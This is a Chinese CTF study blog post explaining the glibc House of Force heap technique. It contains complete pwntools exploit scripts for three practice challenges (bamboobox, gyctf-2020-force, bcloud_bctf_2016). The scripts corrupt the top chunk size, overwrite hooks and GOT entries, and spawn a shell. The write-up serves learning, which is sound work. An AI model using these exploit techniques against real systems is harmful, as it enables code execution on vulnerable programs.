House of Force

前言

基本按照这wiki上面学的,简单记录一下。

原理

使用条件

  • 能够以溢出等方式控制到 top chunk 的 size 域
  • 能够自由地控制堆分配尺寸的大小

    产生原因

    House Of Force 产生的原因在于 glibc 对 top chunk 的处理:进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

所以当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

所以,如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证,这也就是我们前面说的需要一个能够控制top chunk size 域的漏洞。

一般的利用办法

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

之后这里会把 top chunk的 指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意值(write-anything-anywhere)。

简单实例

让top chunk 的指针减小来修改位于其上面(低地址) 的got表中的内容


这个核心就是来缩小top chunk 的指针,来修改位于其上面(低地址) 的某处中的内容。这里可能是heap的指针,got表。

这其中有个难缠的问题就是结构体对齐问题,目前我所练习到的题遇到这个问题的都是,减去一下SIZE_SZ(64位是8 ,32位是4)。

让那个top chunk 指针增大来修改位于高地址空间的内容


这个是较好理解的,常用修改libc上面某处的地址。

hitcon-training-bamboobox

主要是修改一下,开始程序自动创建的存放2个函数指针的堆,其中hello-message用于程序开始时使用,goodbye-message 用于在程序结束时使用。

利用思路

  • 添加堆块,利用堆溢出漏洞覆盖 top chunk 的大小为 -1,即 64 位最大值。
  • 利用 house of force 技巧,分配 chunk 至堆的基地址。
  • 覆盖 goodbye-message 为magic 函数地址来控制程序执行流。

exp

from pwn import *
import time
local_file  = './bamboobox'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
debug = 1
if debug:
    io = process(local_file)
    context.log_level = 'debug'
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',25784)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + ': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def dbg():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,content):
    sla('choice','2')
    sla('item name:',str(size))
    sa('item',str(content))

def free(id):
    sla('choice','4')
    sla('item',str(id))

def show(id):
    sla('choice','1')

def edit(id,size,content):
    sla('choice','3')
    sla('item',str(id))
    sla('item name',str(size))
    sa('item',str(content))

context.log_level = 'debug'
magic = 0x400d49
add(0x30,'chum')
payload = 'a' * 0x30 +p64(0) + p64(0xffffffffffffffff)
edit(0,0x40,payload)
size = -(0x40 + 0x20) - 0x10
add(size,' ')
payload = p64(0x400d49) + p64(0x400d49)
add(0x10,payload)
# sla('choice:','5')

itr()

gyctf-2020-force

ida分析


可以实现堆溢出。并且在你申请一个堆块以后,程序会给你打印出堆块的地址,这样就可以泄露出信息。

利用思路

  • 申请一个很大堆,然后程序会mmap开启一个堆块,此时就可以泄漏出libc的地址。
  • HOF
  • __malloc_hook + one gadget

exp

from pwn import *
import time
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
local_file  = './gyctf_2020_force'
remote_libc = local_libc # '../libc.so.6
debug = 0
if debug:
    io = process(local_file)
    context.log_level = 'debug'
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29457)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def dbg():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,date):
    sla('2:puts','1')
    sla('size',str(size))
    ru('bin addr 0x')
    heapaddr = int(r(12),16)
    info_addr('heapaddr',heapaddr)
    sa('content',str(date))
    return heapaddr
payload = 0x30 * 'a' + p64(0) + p64(0xffffffffffffffff)
libc_base = add(0x200000,'111') + 0x200ff0
info_addr('libc_base',libc_base)
malloc_hook = libc_base + 0x3c4b10
heapaddr = add(0x30,payload)
size = malloc_hook-(heapaddr + 0x30) - 0x10 - 0x8 -0x8 -0x8
print('size---->'+hex(size))
add(size,'a')
rce = rce16[1] + libc_base
payload = p64(0) + p64(rce) + p64(libc_base + libc.symbols['__libc_realloc'] + realloc[1])
add(0x20,payload)
sla('2:puts','1')
sla('size','30')
# dbg()
itr()

bcloud_bctf_2016

这个题是一个十分精妙的题,漏洞出现在程序初始化。

strcpy是以\x00来判断一个字符串是否结束的。
在栈中,当输入0x40个字符时,因为v2正好在s下面,这就让strcpy从s往v2上面复制时会把这个堆块的地址也给复制上去,当其返回name时,也就返回了堆块地址,然后就可以算出堆块的基地址。


到了这个也是这个漏洞,填充完0x40个字符后,会把org堆块的指针和v3里面的内容给复制到org对应的堆块里,也就是0x40 + 4 + len(v3)字节的东西。org在堆块排布中也是最后一个,如果传过去0xffffffff,就可以改到top chunk的size位。

利用思路

  • leak堆块base
  • 修改top chunk size
  • hof到heaplist处
  • 给heaplist写上free got,用edit,修改其为puts
  • 泄漏libc地址
  • 修改free got 为system,然后指向/bin/sh\x00

exp

from pwn import *
from LibcSearcher import *
import time
local_file  = './bcloud_bctf_2016'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
debug = 0
if debug:
    io = process(local_file)
    context.log_level = 'debug'
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',27301)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def name(name):
    sa('name',str(name))
    ru('b')
    heapbase = uu32(r(4)) - 0x8
    info_addr('heapbase',heapbase)
    return heapbase
def org(org,host):
    sa('Org:',str(org))
    sla('Host:',str(host))

def add(size,content):
    sla('option--->>','1')
    sla('length',str(size))
    sa('content:',str(content))

def edit(id,content):
    sla('--->>','3')
    sla('id',str(id))
    sa('the new content',str(content))

def free(id):
    sla('->','4')
    sla('id',str(id))

context.log_level = 'debug'

sizelist = 0x804B0A0
heaplist = 0x804B120
heapbase = name('a' * (0x40-1) + 'b')
top = heapbase + 0xd8
info_addr('top',top)
org('b'*0x40,p32(0xffffffff)) #chang top chunk size
size = heaplist - top - 0x10
add(size,'\n')
add(0x18,'\n')
payload = p32(0) + p32(elf.got['free']) + p32(elf.got['atoi'])  +p32(0x804B128+4+4) + '/bin/sh\x00'
edit(1,payload + '\n')
puts_plt = elf.plt['puts']
edit(1,p32(puts_plt) + '\n')
free(2)
io.recv(1)
io.recv(1)
atoi = uu32(r(4))
info_addr('atoi',atoi)
libc = LibcSearcher('atoi',atoi)
libc_base = atoi - libc.dump('atoi')
system = libc_base + libc.dump('system')
info_addr('libc_base',libc_base)
edit(1,p32(system) + '\n')
free(3)
itr()


pwn House系列 heap

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!